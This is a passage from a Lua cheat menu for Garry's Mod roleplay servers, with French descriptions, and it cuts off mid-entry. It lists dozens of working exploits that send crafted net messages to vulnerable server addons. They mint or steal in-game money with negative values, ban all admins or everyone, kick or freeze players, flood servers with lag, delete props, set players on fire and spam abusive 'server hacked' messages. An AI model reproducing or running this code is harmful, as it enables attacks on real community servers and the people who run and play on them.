  6000. for k, v in pairs( player.GetAll() ) do
  6001. iZNX.NetStart( "VJSay" )
  6002. net.WriteEntity( v )
  6003. net.WriteString( iZNX.GetStored( "vj_spamstring", "ACHETER LE @LOKIDEV AJOUTEZ SAKURA" ) )
  6004. if iZNX.GetStored( "vj_spamsound", "" ) != "" then
  6005. net.WriteString( iZNX.GetStored( "vj_spamsound", "" ) )
  6006. end
  6007. net.SendToServer()
  6008. end
  6009. end)
  6010. else
  6011. timer.Remove( "bigspamsvj" )
  6012. iZNX.ChatText( "big spam stoppé" )
  6013. end
  6014. end, },
  6015. },
  6016. } )--]]
  6017. iZNX.AddExploit( "Give une arme", {
  6018. desc = "Exploit pour vous give des putains d'armes",
  6019. severity = 3,
  6020. scan = function() return iZNX.ValidNetString( "CraftSomething" ) end,
  6021. functions = {
  6022. { typ = "string", name = "Nom Arme", default = "m9k_ak47", addr = "armes_a_prendre" },
  6023. { typ = "func", name = "Prendre", func = function()
  6024. iZNX.NetStart( "CraftSomething" )
  6025. net.WriteEntity( LocalPlayer() )
  6026. net.WriteString( iZNX.GetStored( "armes_a_prendre" ) )
  6027. net.WriteString( "" )
  6028. net.WriteString( "weapon" )
  6029. net.SendToServer()
  6030. end, },
  6031. },
  6032. } )
  6033. iZNX.AddExploit( "ULX Extended ", {
  6034. desc = "Attention cette exploit est risquée si l'addon est à jour vous allez être kick ^^",
  6035. severity = 3,
  6036. scan = function() return iZNX.ValidNetString( "banleaver" ) end,
  6037. functions = {
  6038. { typ = "func", name = "Ban les Admins", func = function()
  6039. for k,v in pairs(player.GetAll()) do
  6040. if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
  6041. if v != LocalPlayer() then
  6042. iZNX.NetStart("banleaver")
  6043. net.WriteString(v:SteamID().."{sep}".."Bitch please")
  6044. net.SendToServer()
  6045. end
  6046. end
  6047. end
  6048. end, },
  6049. { typ = "func", name = "Ban tout le monde", func = function()
  6050. for k,v in pairs(player.GetAll()) do
  6051. if v != LocalPlayer() then
  6052. iZNX.NetStart("banleaver")
  6053. net.WriteString(v:SteamID().."{sep}".."Bitch please")
  6054. net.SendToServer()
  6055. end
  6056. end
  6057. end, },
  6058. },
  6059. } )
  6060. iZNX.AddExploit( "€ Casino NPC €", {
  6061. desc = "Exploit d'argent très efficace, go payer des putes et de la coke ;)",
  6062. severity = 4,
  6063. scan = function() return iZNX.ValidNetString( "75_plus_win" ) end,
  6064. functions = {
  6065. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent" },
  6066. { typ = "players", addr = "l_players_listing" },
  6067. { typ = "func", name = "Donner", func = function()
  6068. local t = iZNX.GetStored( "l_players_listing", {} )
  6069. for k, v in pairs( player.GetAll() ) do
  6070. if !table.HasValue( t, v ) then continue end
  6071. iZNX.NetStart( "75_plus_win" )
  6072. net.WriteString( iZNX.GetStored( "montant_argent" ) )
  6073. net.WriteEntity(v)
  6074. net.SendToServer()
  6075. end
  6076. end, },
  6077. { typ = "func", name = "Enlever", func = function()
  6078. local t = iZNX.GetStored( "l_players_listing", {} )
  6079. for k, v in pairs( player.GetAll() ) do
  6080. if !table.HasValue( t, v ) then continue end
  6081. iZNX.NetStart( "75_plus_win" )
  6082. net.WriteString( -iZNX.GetStored( "montant_argent" ) )
  6083. net.WriteEntity(v)
  6084. net.SendToServer()
  6085. end
  6086. end, },
  6087. },
  6088. } )
  6089. iZNX.AddExploit( "€ ATM €", {
  6090. desc = "Exploit d'argent, go payer des putes et de la coke ;)",
  6091. severity = 4,
  6092. scan = function() return iZNX.ValidNetString( "ATMDepositMoney" ) end,
  6093. functions = {
  6094. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent5" },
  6095. { typ = "func", name = "Prendre", func = function()
  6096. iZNX.NetStart( "ATMDepositMoney" )
  6097. net.WriteFloat( -iZNX.GetStored( "montant_argent5" ) )
  6098. net.SendToServer()
  6099. end, },
  6100. },
  6101. } )
  6102. iZNX.AddExploit( "TAXI Spawn Lag", {
  6103. desc = "Exploit pour faire chier les fdp de codeurs ;)",
  6104. severity = 2,
  6105. scan = function() return iZNX.ValidNetString( "Taxi_Add" ) end,
  6106. functions = {
  6107. { typ = "func", name = "Spawn", func = function()
  6108. local Pos = LocalPlayer():GetEyeTrace().HitPos
  6109. iZNX.NetStart("Taxi_Add")
  6110. net.WriteString("Taxi Super Exploit #"..math.random( 1, 9999 ))
  6111. net.WriteTable({[1]=Pos.x,[2]=Pos.y,[3]=Pos.z})
  6112. net.WriteFloat(-9999999)
  6113. net.WriteString("Les addons leaks c'est plein d'exploit :D")
  6114. net.SendToServer()
  6115. end, },
  6116. { typ = "func", name = "Super Spam", func = function()
  6117. if !timer.Exists( "taxispam" ) then
  6118. iZNX.ChatText( "Spam spawn Taxi lancé" )
  6119. timer.Create( "taxispam", 0.05, 0, function()
  6120. local Pos = LocalPlayer():GetEyeTrace().HitPos
  6121. iZNX.NetStart("Taxi_Add")
  6122. net.WriteString("Taxi Super Exploit #"..math.random( 1, 9999 ))
  6123. net.WriteTable({[1]=Pos.x,[2]=Pos.y,[3]=Pos.z})
  6124. net.WriteFloat(-9999999)
  6125. net.WriteString("Les addons leaks c'est plein d'exploit :D")
  6126. net.SendToServer()
  6127. end)
  6128. else
  6129. timer.Remove( "taxispam" )
  6130. iZNX.ChatText( "Spam spawn Taxi arreter" )
  6131. end
  6132. end, },
  6133. },
  6134. } )
  6135. iZNX.AddExploit( "€ eMining €", {
  6136. desc = "Exploit d'argent Infini, go payer des putes et de la coke ;)",
  6137. severity = 4,
  6138. scan = function() return iZNX.ValidNetString( "SellMinerals" ) end,
  6139. functions = {
  6140. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent6" },
  6141. { typ = "func", name = "Prendre", func = function()
  6142. for k,v in pairs(SkillDB) do
  6143. if not ( v.iSkill == true ) then
  6144. iZNX.NetStart("Upgrade")
  6145. net.WriteTable( { LuaName = v.LuaName, Amount = -iZNX.GetStored( "montant_argent6" ) } )
  6146. net.SendToServer()
  6147. iZNX.NetStart( "SellMinerals" )
  6148. net.WriteTable( { Target = LocalPlayer() } )
  6149. net.SendToServer()
  6150. end
  6151. end
  6152. end, },
  6153. { typ = "func", name = "Enlever", func = function()
  6154. for k,v in pairs(SkillDB) do
  6155. if not ( v.iSkill == true ) then
  6156. iZNX.NetStart("Upgrade")
  6157. net.WriteTable( { LuaName = v.LuaName, Amount = iZNX.GetStored( "montant_argent6" ) } )
  6158. net.SendToServer()
  6159. iZNX.NetStart( "SellMinerals" )
  6160. net.WriteTable( { Target = LocalPlayer() } )
  6161. net.SendToServer()
  6162. end
  6163. end
  6164. end, },
  6165. },
  6166. } )
  6167. iZNX.AddExploit( "€ Gamble NPC €", {
  6168. desc = "Exploit d'argent Infini, go payer des putes et de la coke ;)",
  6169. severity = 4,
  6170. scan = function() return iZNX.ValidNetString( "TakeBetMoney" ) end,
  6171. functions = {
  6172. { typ = "func", name = "Prendre", func = function()
  6173. iZNX.NetStart( "TakeBetMoney" )
  6174. net.WriteTable({1e333333 , 1e333333})
  6175. net.SendToServer()
  6176. end, },
  6177. },
  6178. } )
  6179. iZNX.AddExploit( "€ Kun Oil Mod €", {
  6180. desc = "Exploit d'argent, go payer des putes et de la coke ;)",
  6181. severity = 3,
  6182. scan = function() return iZNX.ValidNetString( "Kun_SellOil" ) end,
  6183. functions = {
  6184. { typ = "func", name = "Prendre", func = function()
  6185. for k,v in pairs(ents.GetAll()) do
  6186. iZNX.NetStart("Kun_SellOil")
  6187. net.WriteEntity(v)
  6188. net.SendToServer()
  6189. end
  6190. end, },
  6191. },
  6192. } )
  6193. iZNX.AddExploit( "Rejoindre la Police 1", {
  6194. desc = "Rejoint la police sans passer par le putain de formulaire",
  6195. severity = 2,
  6196. scan = function() return iZNX.ValidNetString( "PoliceJoin" ) end,
  6197. functions = {
  6198. { typ = "func", name = "Rejoindre", func = function()
  6199. iZNX.NetStart("PoliceJoin")
  6200. net.SendToServer()
  6201. end, },
  6202. },
  6203. } )
  6204. iZNX.AddExploit( "Rejoindre la Police 2", {
  6205. desc = "Rejoint la police sans passer le putain formulaire",
  6206. severity = 2,
  6207. scan = function() return iZNX.ValidNetString( "CpForm_Answers" ) end,
  6208. functions = {
  6209. { typ = "func", name = "Rejoindre", func = function()
  6210. iZNX.NetStart("CpForm_Answers")
  6211. net.WriteEntity(LocalPlayer())
  6212. net.WriteTable({})
  6213. net.SendToServer()
  6214. end, },
  6215. },
  6216. } )
  6217. iZNX.AddExploit( "€ Deposit Money €", {
  6218. desc = "Exploit d'argent avec les ATM Deposit Money",
  6219. severity = 2,
  6220. scan = function() return iZNX.ValidNetString( "DepositMoney" ) end,
  6221. functions = {
  6222. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent7" },
  6223. { typ = "func", name = "Lancer", func = function()
  6224. for k,v in pairs(ents.GetAll()) do
  6225. swag = v
  6226. end
  6227. for k,v in pairs(player.GetAll()) do
  6228. iZNX.NetStart( "DepositMoney" )
  6229. net.WriteEntity(swag)
  6230. net.WriteString(-iZNX.GetStored( "montant_argent7" ))
  6231. net.WriteEntity(v)
  6232. net.SendToServer()
  6233. end
  6234. end, },
  6235. },
  6236. } )
  6237. iZNX.AddExploit( "MDE", {
  6238. desc = "Exploit pour supprimer des PermaProps (Viser le props et cliquer sur l'exploit pour le supprimer)",
  6239. severity = 2,
  6240. scan = function() return iZNX.ValidNetString( "MDE_RemoveStuff_C2S" ) end,
  6241. functions = {
  6242. { typ = "func", name = "Lancer", func = function()
  6243. iZNX.NetStart( "MDE_RemoveStuff_C2S" )
  6244. net.WriteTable( {DATA="",TARGET=LocalPlayer():GetEyeTrace().Entity} )
  6245. net.SendToServer()
  6246. end, },
  6247. },
  6248. } )
  6249. iZNX.AddExploit( "€ SS Shelf NET €", {
  6250. desc = "Exploit d'argent",
  6251. severity = 3,
  6252. scan = function() return iZNX.ValidNetString( "NET_SS_DoBuyTakeoff" ) end,
  6253. functions = {
  6254. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent9" },
  6255. { typ = "func", name = "Lancer", func = function()
  6256. for k,v in pairs(ents.GetAll()) do
  6257. swag = v
  6258. end
  6259. iZNX.NetStart( 'NET_SS_DoBuyTakeoff' )
  6260. net.WriteEntity(LocalPlayer())
  6261. net.WriteEntity(swag)
  6262. net.WriteTable({'spawned_weapon'})
  6263. net.WriteInt(-iZNX.GetStored( "montant_argent9" ), 16)
  6264. net.SendToServer()
  6265. end, },
  6266. },
  6267. } )
  6268. iZNX.AddExploit( "€ MODIFIER TAXES €", {
  6269. desc = "Exploit d'argent",
  6270. severity = 3,
  6271. scan = function() return iZNX.ValidNetString( "NET_EcSetTax" ) end,
  6272. functions = {
  6273. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent10" },
  6274. { typ = "func", name = "Lancer", func = function()
  6275. iZNX.NetStart("NET_EcSetTax")
  6276. net.WriteInt(-iZNX.GetStored( "montant_argent10" ), 16)
  6277. net.SendToServer()
  6278. end, },
  6279. },
  6280. } )
  6281. iZNX.AddExploit( "€ Fine System €", {
  6282. desc = "Exploit d'argent , go payer des putes et de la coke ;)",
  6283. severity = 3,
  6284. scan = function() return iZNX.ValidNetString( "RP_Accept_Fine" ) end,
  6285. functions = {
  6286. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent11" },
  6287. { typ = "players", addr = "l_players_listing_fine" },
  6288. { typ = "func", name = "Prendre", func = function()
  6289. local t = iZNX.GetStored( "l_players_listing_fine", {} )
  6290. for k, v in pairs( player.GetAll() ) do
  6291. if !table.HasValue( t, v ) then continue end
  6292. iZNX.NetStart("RP_Accept_Fine")
  6293. net.WriteString(v:Nick())
  6294. net.WriteDouble(-iZNX.GetStored( "montant_argent11" ))
  6295. net.SendToServer()
  6296. end
  6297. end, },
  6298. { typ = "func", name = "Envoyer Amende x)", func = function()
  6299. local t = iZNX.GetStored( "l_players_listing_fine", {} )
  6300. for k, v in pairs( player.GetAll() ) do
  6301. if !table.HasValue( t, v ) then continue end
  6302. iZNX.NetStart("RP_Fine_Player")
  6303. net.WriteString(v:Nick())
  6304. net.WriteString(v:Nick())
  6305. net.WriteDouble(iZNX.GetStored( "montant_argent11" ))
  6306. net.WriteString("Ce serveur mérite une anarchie! Serveur hacked!! Vous pouvez lecher mon trou du cul maintenant x)")
  6307. net.SendToServer()
  6308. end
  6309. end, },
  6310. { typ = "func", name = "Spam Envoyer Amende x)", func = function()
  6311. if !timer.Exists( "spamamandefine" ) then
  6312. iZNX.ChatText( "Spam lancé" )
  6313. timer.Create( "spamamandefine", 0.1, 0, function()
  6314. local t = iZNX.GetStored( "l_players_listing_fine", {} )
  6315. for k, v in pairs( player.GetAll() ) do
  6316. if !table.HasValue( t, v ) then continue end
  6317. iZNX.NetStart("RP_Fine_Player")
  6318. net.WriteString(v:Nick())
  6319. net.WriteString(v:Nick())
  6320. net.WriteDouble(iZNX.GetStored( "montant_argent11" ))
  6321. net.WriteString("Ce serveur mérite une anarchie! Serveur hacked!! Vous pouvez lecher mon trou du cul maintenant x)")
  6322. net.SendToServer()
  6323. end
  6324. end)
  6325. else
  6326. timer.Remove( "spamamandefine" )
  6327. iZNX.ChatText( "Spam stoppé" )
  6328. end
  6329. end, },
  6330. },
  6331. } )
  6332. iZNX.AddExploit( "€ 3D Cardealer €", {
  6333. desc = "Exploit d'argent, Regarder un vehicule que vous avez acheté pour le dupliquer ;)",
  6334. severity = 2,
  6335. scan = function() return iZNX.ValidNetString( "RXCAR_Shop_Store_C2S" ) end,
  6336. functions = {
  6337. { typ = "func", name = "Dupliquer", func = function()
  6338. for i = 0, 75 do
  6339. iZNX.NetStart( "RXCAR_Shop_Store_C2S" );
  6340. net.WriteTable( { E = ent } );
  6341. net.SendToServer();
  6342. end
  6343. end, },
  6344. { typ = "func", name = "Tout Vendre", func = function()
  6345. local ent
  6346. for k,v in pairs(ents.GetAll()) do
  6347. if v:GetClass() == "rm_car_dealer" then
  6348. ent = v
  6349. end
  6350. end
  6351. for k,v in pairs(RX3DCar_Inventory) do
  6352. iZNX.NetStart( "RXCAR_SellINVCar_C2S" )
  6353. net.WriteTable({UN=v.UniqueID,SE=ent})
  6354. net.SendToServer()
  6355. end
  6356. end, },
  6357. },
  6358. } )
  6359. iZNX.AddExploit( "Supprimer Armes / Argent", {
  6360. desc = "Supprimer les armes / l'argent de touts le monde",
  6361. severity = 3,
  6362. scan = function() return iZNX.ValidNetString( "drugseffect_remove" ) end,
  6363. functions = {
  6364. { typ = "func", name = "Supprimer Armes", func = function()
  6365. iZNX.NetStart("drugseffect_remove")
  6366. net.SendToServer()
  6367. end, },
  6368. { typ = "func", name = "Supprimer Argent", func = function()
  6369. iZNX.NetStart("drugs_money")
  6370. net.SendToServer()
  6371. end, },
  6372. },
  6373. } )
  6374. iZNX.AddExploit( "€ Crafting Mod €", {
  6375. desc = "Exploit d'argent",
  6376. severity = 3,
  6377. scan = function() return iZNX.ValidNetString( "CRAFTINGMOD_SHOP" ) end,
  6378. functions = {
  6379. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent14" },
  6380. { typ = "func", name = "Ajouter Argent", func = function()
  6381. iZNX.NetStart("CRAFTINGMOD_SHOP")
  6382. net.WriteTable({
  6383. BUY = -iZNX.GetStored( "montant_argent14" );
  6384. type = 1
  6385. })
  6386. net.WriteInt(1,16)
  6387. net.SendToServer()
  6388. end, },
  6389. { typ = "func", name = "Enlever Argent", func = function()
  6390. iZNX.NetStart("CRAFTINGMOD_SHOP")
  6391. net.WriteTable({
  6392. BUY = LocalPlayer():getDarkRPVar("money");
  6393. type = 1
  6394. })
  6395. net.WriteInt(1,16)
  6396. net.SendToServer()
  6397. end, },
  6398. },
  6399. } )
  6400. iZNX.AddExploit( "Mettre le Feu", {
  6401. desc = "Mettre les props/joueur en feu. RIP JOHNNY.",
  6402. severity = 3,
  6403. scan = function() return iZNX.ValidNetString( "drugs_ignite" ) end,
  6404. functions = {
  6405. { typ = "func", name = "Feux Props", func = function()
  6406. iZNX.NetStart("drugs_ignite")
  6407. net.WriteString("prop_physics")
  6408. net.SendToServer()
  6409. end, },
  6410. { typ = "func", name = "Feux Joueurs", func = function()
  6411. iZNX.NetStart("drugs_ignite")
  6412. net.WriteString("player")
  6413. net.SendToServer()
  6414. end, },
  6415. },
  6416. } )
  6417. iZNX.AddExploit( "Modifier la Vie", {
  6418. desc = "Changer la vie des joueurs",
  6419. severity = 2,
  6420. scan = function() return iZNX.ValidNetString( "drugseffect_hpremove" ) end,
  6421. functions = {
  6422. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100", addr = "montant_argent15" },
  6423. { typ = "func", name = "Vie Normal", func = function()
  6424. iZNX.NetStart("drugseffect_hpremove")
  6425. net.WriteString(iZNX.GetStored( "montant_argent15" ))
  6426. net.SendToServer()
  6427. end, },
  6428. },
  6429. } )
  6430. iZNX.AddExploit( "Teleportation", {
  6431. desc = "Teleport les joueurs que vous regarder au spawn)",
  6432. severity = 2,
  6433. scan = function() return iZNX.ValidNetString( "DarkRP_Kun_ForceSpawn" ) end,
  6434. functions = {
  6435. { typ = "func", name = "Teleport", func = function()
  6436. iZNX.NetStart("DarkRP_Kun_ForceSpawn")
  6437. net.SendToServer()
  6438. end, },
  6439. },
  6440. } )
  6441. iZNX.AddExploit( "Supprimer les props 2", {
  6442. desc = "Je sait pas ce que ça fait (ça fait surement respawn les joueurs que vous visez ou un truc comme ça ^^'')",
  6443. severity = 2,
  6444. scan = function() return iZNX.ValidNetString( "drugs_text" ) end,
  6445. functions = {
  6446. { typ = "func", name = "Supprimer", func = function()
  6447. iZNX.NetStart("drugs_text")
  6448. net.WriteString("prop_physics")
  6449. net.SendToServer()
  6450. end, },
  6451. },
  6452. } )
  6453. iZNX.AddExploit( "Kick 3", {
  6454. desc = "Exploit pour kick touts les joueurs",
  6455. severity = 3,
  6456. scan = function() return iZNX.ValidNetString( "NLRKick" ) end,
  6457. functions = {
  6458. { typ = "players", addr = "l_players_listing515" },
  6459. { typ = "func", name = "Kick", func = function()
  6460. local t = iZNX.GetStored( "l_players_listing515", {} )
  6461. for k, v in pairs( player.GetAll() ) do
  6462. if !table.HasValue( t, v ) then continue end
  6463. iZNX.NetStart("NLRKick")
  6464. net.WriteEntity(v)
  6465. net.SendToServer()
  6466. end
  6467. end, },
  6468. },
  6469. } )
  6470. iZNX.AddExploit( "Kick 2", {
  6471. desc = "Exploit pour kick",
  6472. severity = 3,
  6473. scan = function() return iZNX.ValidNetString( "RecKickAFKer" ) end,
  6474. functions = {
  6475. { typ = "players", addr = "l_players_listing2545" },
  6476. { typ = "func", name = "Kick", func = function()
  6477. local t = iZNX.GetStored( "l_players_listing2545", {} )
  6478. for k, v in pairs( player.GetAll() ) do
  6479. if !table.HasValue( t, v ) then continue end
  6480. iZNX.NetStart("RecKickAFKer")
  6481. net.WriteEntity(v)
  6482. net.SendToServer()
  6483. end
  6484. end, },
  6485. },
  6486. } )
  6487. iZNX.AddExploit( "Loot Items", {
  6488. desc = "Auto-Loot des items",
  6489. severity = 2,
  6490. scan = function() return iZNX.ValidNetString( "GMBG:PickupItem" ) end,
  6491. functions = {
  6492. { typ = "func", name = "Loot", func = function()
  6493. for k, v in pairs(ents.GetAll()) do
  6494. if v:GetClass() == "item_loot" then
  6495. iZNX.NetStart("GMBG:PickupItem")
  6496. net.WriteEntity(v)
  6497. net.SendToServer()
  6498. iZNX.NetStart("GMBG:PickupItem")
  6499. net.WriteEntity(v)
  6500. net.SendToServer()
  6501. iZNX.NetStart("GMBG:PickupItem")
  6502. net.WriteEntity(v)
  6503. net.SendToServer()
  6504. iZNX.NetStart("GMBG:PickupItem")
  6505. net.WriteEntity(v)
  6506. net.SendToServer()
  6507. iZNX.NetStart("GMBG:PickupItem")
  6508. net.WriteEntity(v)
  6509. net.SendToServer()
  6510. iZNX.NetStart("GMBG:PickupItem")
  6511. net.WriteEntity(v)
  6512. net.SendToServer()
  6513. end
  6514. end
  6515. end, },
  6516. },
  6517. } )
  6518. iZNX.AddExploit( "Kick tout le monde", {
  6519. desc = "Exploit pour kick touts les joueurs",
  6520. severity = 3,
  6521. scan = function() return iZNX.ValidNetString( "DL_Answering" ) end,
  6522. functions = {
  6523. { typ = "func", name = "Kick", func = function()
  6524. if !timer.Exists( "kickallnoob" ) then
  6525. iZNX.ChatText( "Kick tout le monde lancé" )
  6526. timer.Create( "kickallnoob", 0.05, 0, function()
  6527. for i = 1, 2000 do
  6528. iZNX.NetStart("DL_Answering")
  6529. net.SendToServer()
  6530. end
  6531. end)
  6532. else
  6533. timer.Remove( "kickallnoob" )
  6534. iZNX.ChatText( "Kick tout le monde stoppé" )
  6535. end
  6536. end, },
  6537. },
  6538. } )
  6539. iZNX.AddExploit( "Kick 1", {
  6540. desc = "Exploit pour kick les Admins",
  6541. severity = 3,
  6542. scan = function() return iZNX.ValidNetString( "plyWarning" ) end,
  6543. functions = {
  6544. { typ = "players", addr = "l_players_listing255" },
  6545. { typ = "func", name = "Kick", func = function()
  6546. local t = iZNX.GetStored( "l_players_listing255", {} )
  6547. for k, v in pairs( player.GetAll() ) do
  6548. if !table.HasValue( t, v ) then continue end
  6549. iZNX.NetStart('plyWarning')
  6550. net.WriteEntity(v)
  6551. net.WriteString('You have to select a player before doing a action.')
  6552. net.SendToServer()
  6553. iZNX.ChatText("Tentative de kick sur ".. v:Nick().. "!")
  6554. end
  6555. end, },
  6556. },
  6557. } )
  6558. iZNX.AddExploit( "NLR Freeze", {
  6559. desc = "Exploit pour freeze des joueurs",
  6560. severity = 3,
  6561. scan = function() return iZNX.ValidNetString( "NLR.ActionPlayer" ) end,
  6562. functions = {
  6563. { typ = "players", addr = "l_players_listing45" },
  6564. { typ = "func", name = "Freeze", func = function()
  6565. local t = iZNX.GetStored( "l_players_listing45", {} )
  6566. for k, v in pairs( player.GetAll() ) do
  6567. if !table.HasValue( t, v ) then continue end
  6568. iZNX.NetStart("NLR.ActionPlayer")
  6569. net.WriteEntity(v)
  6570. net.SendToServer()
  6571. end
  6572. end, },
  6573. },
  6574. } )
  6575. iZNX.AddExploit( "Supprimer les props 1", {
  6576. desc = "Supprimer touts les props du serveur x)",
  6577. severity = 2,
  6578. scan = function() return iZNX.ValidNetString( "timebombDefuse" ) end,
  6579. functions = {
  6580. { typ = "func", name = "Supprimer", func = function()
  6581. for k,v in pairs(ents.GetAll()) do
  6582. iZNX.NetStart("timebombDefuse")
  6583. net.WriteEntity(v)
  6584. net.WriteBool(true)
  6585. net.SendToServer()
  6586. end
  6587. end, },
  6588. },
  6589. } )
  6590. iZNX.AddExploit( "Hack Keypads", {
  6591. desc = "Tu peux mettre Anonymous en photo de profil maintenant.",
  6592. severity = 1,
  6593. scan = function() return iZNX.ValidNetString( "start_wd_emp" ) end,
  6594. functions = {
  6595. { typ = "func", name = "Hacker", func = function()
  6596. iZNX.NetStart("start_wd_emp")
  6597. net.SendToServer()
  6598. end, },
  6599. },
  6600. } )
  6601. iZNX.AddExploit( "€ Kart System €", {
  6602. desc = "Exploit d'argent.",
  6603. severity = 3,
  6604. scan = function() return iZNX.ValidNetString( "kart_sell" ) end,
  6605. functions = {
  6606. { typ = "func", name = "Lancer", func = function()
  6607. for i=1, 300 do
  6608. iZNX.NetStart("kart_sell")
  6609. net.WriteString("sw_gokart")
  6610. net.SendToServer()
  6611. end
  6612. end, },
  6613. },
  6614. } )
  6615. iZNX.AddExploit( "€ Farming Mod €", {
  6616. desc = "Exploit d'argent, go payer des putes et de la coke ;)",
  6617. severity = 3,
  6618. scan = function() return iZNX.ValidNetString( "FarmingmodSellItems" ) end,
  6619. functions = {
  6620. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent1" },
  6621. { typ = "func", name = "Prendre", func = function()
  6622. iZNX.NetStart( "FarmingmodSellItems" )
  6623. net.WriteTable(
  6624. {
  6625. Cost = 10,
  6626. CropModel = "models/props/eryk/garlic.mdl",
  6627. CropType = 2,
  6628. Info = "Garlic Seed",
  6629. Model = "models/props/eryk/seedbag.mdl",
  6630. Name = "Garlic",
  6631. Quality = 4,
  6632. Sell = iZNX.GetStored( "montant_argent1" ),
  6633. Type = "Seed"
  6634. }
  6635. )
  6636. net.WriteInt(1,16)
  6637. net.SendToServer()
  6638. end, },
  6639. },
  6640. } )
  6641. iZNX.AddExploit( "€ Point Shop €", {
  6642. desc = "Exploit d'argent, go payer des putes et de la coke ;)",
  6643. severity = 3,
  6644. scan = function() return iZNX.ValidNetString( "ClickerAddToPoints" ) end,
  6645. functions = {
  6646. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent2" },
  6647. { typ = "func", name = "Prendre", func = function()
  6648. iZNX.NetStart("ClickerAddToPoints")
  6649. net.WriteInt(iZNX.GetStored( "montant_argent2" ), 32)
  6650. net.SendToServer()
  6651. end, },
  6652. },
  6653. } )
  6654. local PM = 1
  6655. local SK = 1
  6656. local BG = 1
  6657. local HN = 1
  6658. local TS = 1
  6659. local GL = 1
  6660. local LG = 1
  6661. iZNX.AddExploit( "Body Groups", {
  6662. desc = "Changer de skin",
  6663. severity = 1,
  6664. scan = function() return iZNX.ValidNetString( "bodyman_model_change" ) end,
  6665. functions = {
  6666. { typ = "func", name = "Changer", func = function()
  6667. PlayerModels = {0,1,2,3,4,5,6}
  6668. Torso = {0,1,2,3,4,5,6,7,8,9,10}
  6669. Legs = {0,1,2,3,4,5,6}
  6670. Hands = {0,1,2}
  6671. Glasses = {0,1}
  6672. Skins = {0,1,2,3,4,5,6,7,8,9,10}
  6673. PM = PM+1
  6674. TS = TS+1
  6675. LG = LG+1
  6676. HN = HN+1
  6677. GL = GL+1
  6678. SK = SK+1
  6679. if (PM>#PlayerModels) then PM=1 end
  6680. if (SK>#Skins) then SK=1 end
  6681. if (HN>#Hands) then HN=1 end
  6682. if (TS>#Torso) then TS=1 end
  6683. if (GL>#Glasses) then GL=1 end
  6684. if (LG>#Legs) then LG=1 end
  6685. iZNX.NetStart("bodyman_model_change")
  6686. net.WriteInt(PlayerModels[PM], 10 )
  6687. net.SendToServer()
  6688. iZNX.NetStart("bodygroups_change")
  6689. net.WriteTable( { 1, Torso[TS] } )
  6690. net.SendToServer()
  6691. iZNX.NetStart("bodygroups_change")
  6692. net.WriteTable( { 2, Legs[LG] } )
  6693. net.SendToServer()
  6694. iZNX.NetStart("bodygroups_change")
  6695. net.WriteTable( { 3, Hands[HN] } )
  6696. net.SendToServer()
  6697. iZNX.NetStart("bodygroups_change")
  6698. net.WriteTable( { 4, Glasses[GL] } )
  6699. net.SendToServer()
  6700. end, },
  6701. },
  6702. } )
  6703. iZNX.AddExploit( "€ Hitman X €", {
  6704. desc = "Exploit d'argent",
  6705. severity = 3,
  6706. scan = function() return iZNX.ValidNetString( "SendMoney" ) end,
  6707. functions = {
  6708. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent666" },
  6709. { typ = "players", addr = "l_players_list" },
  6710. { typ = "func", name = "Donner", func = function()
  6711. local t = iZNX.GetStored( "l_players_list", {} )
  6712. for k, v in pairs( player.GetAll() ) do
  6713. if !table.HasValue( t, v ) then continue end
  6714. hook.Remove( "HUDPaint", "skhdsakjl")
  6715. iZNX.NetStart( "SendMoney" )
  6716. net.WriteEntity( v )
  6717. net.WriteEntity( v )
  6718. net.WriteEntity( v )
  6719. net.WriteString( -iZNX.GetStored( "montant_argent666" ) )
  6720. net.SendToServer()
  6721. end
  6722. end, },
  6723. { typ = "func", name = "Enlever", func = function()
  6724. hook.Remove( "HUDPaint", "skhdsakjl")
  6725. local t = iZNX.GetStored( "l_players_list", {} )
  6726. for k, v in pairs( player.GetAll() ) do
  6727. if !table.HasValue( t, v ) then continue end
  6728. iZNX.NetStart( "SendMoney" )
  6729. net.WriteEntity( v )
  6730. net.WriteEntity( v )
  6731. net.WriteEntity( v )
  6732. net.WriteString( iZNX.GetStored( "montant_argent666" ) )
  6733. net.SendToServer()
  6734. end
  6735. end, },
  6736. },
  6737. } )
  6738. iZNX.AddExploit( "€ Bail Out €", {
  6739. desc = "Exploit d'argent",
  6740. severity = 3,
  6741. scan = function() return iZNX.ValidNetString( "BailOut" ) end,
  6742. functions = {
  6743. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent16" },
  6744. { typ = "players", addr = "l_player_liste" },
  6745. { typ = "func", name = "Donner", func = function()
  6746. local t = iZNX.GetStored( "l_player_liste", {} )
  6747. for k, v in pairs( player.GetAll() ) do
  6748. if !table.HasValue( t, v ) then continue end
  6749. iZNX.NetStart( "BailOut" )
  6750. net.WriteEntity( LocalPlayer() )
  6751. net.WriteEntity( v )
  6752. net.WriteFloat( -iZNX.GetStored( "montant_argent16" ) )
  6753. net.SendToServer()
  6754. end
  6755. end, },
  6756. { typ = "func", name = "Enlever", func = function()
  6757. local t = iZNX.GetStored( "l_player_liste", {} )
  6758. for k, v in pairs( player.GetAll() ) do
  6759. if !table.HasValue( t, v ) then continue end
  6760. iZNX.NetStart( "BailOut" )
  6761. net.WriteEntity( LocalPlayer() )
  6762. net.WriteEntity( v )
  6763. net.WriteFloat( iZNX.GetStored( "montant_argent16" ) )
  6764. net.SendToServer()
  6765. end
  6766. end, },
  6767. },
  6768. } )
  6769. iZNX.AddExploit( "€ Tow Truck €", {
  6770. desc = "Spawn vehicule dépanneur / Exploit d'argent Regarder le vehicule qui possède une amande",
  6771. severity = 2,
